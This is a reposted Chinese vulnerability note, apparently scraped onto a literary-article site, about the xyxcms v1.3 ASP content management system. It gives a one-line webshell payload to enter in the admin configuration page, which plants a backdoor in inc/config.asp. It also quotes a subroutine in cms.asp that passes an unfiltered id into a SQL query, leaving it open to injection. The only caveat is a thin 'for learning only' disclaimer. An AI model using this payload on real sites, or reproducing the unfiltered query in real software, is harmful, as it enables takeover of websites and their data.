• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 励志文章 > 正文

    cms漏洞_xyxcms,v1.3,小游戏CMS,漏洞说明

    时间:2020-02-19来源:山茶花美文网 本文已影响 山茶花美文网手机站

    国内最专业的ASP网站内容管理系统-小游戏管理系统,他将是您轻松建站的首选利器。小游戏CMS系统对站点管理和创造编辑都有好处,无论是CMS系统的易用性和功能的完善性,都处于领先优势!网站的编辑、发布、管理人员可轻松便捷的通过小游戏CMS系统来提交修改、审批、发布内容。

    [xyxcms]

    版本信息:V1.3 正式版

    软件大小:1.66M

    更新时间:2010年8月6日

    官方:http://www.xyxcms.com/

    漏洞文件: cms.asp

    程序虽小。 总会遇到!

    鄙视挂马者。!

    学习之用。 后果自负。

    后台拿webshell:

    admin/admin_config.asp

    网站地址: 插入 ":eval request("1"):"

    复制代码代码如下:

    inc/config.asp 一句话后门

    act=request("action")

    id=trim(request("id"))

    ................"省略

    if act="getding" then call getding

    ...................."省略

    sub getding

    id=request("id") "没过滤

    set rs=server.createobject("adodb.recordset")

    sql="select ding from flash where id="&id

    rs.open sql,conn,1,1

    if not rs.eof then

    if isnull(rs(0)) then

    response.Write(0)

    else

    response.Write(rs(0))

    end if

    else

    response.Write(0)

    end if

    rs.close

    set rs=nothing

    end sub

    • cms漏洞_xyxcms,v1.3,小游戏CMS,漏洞说明 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全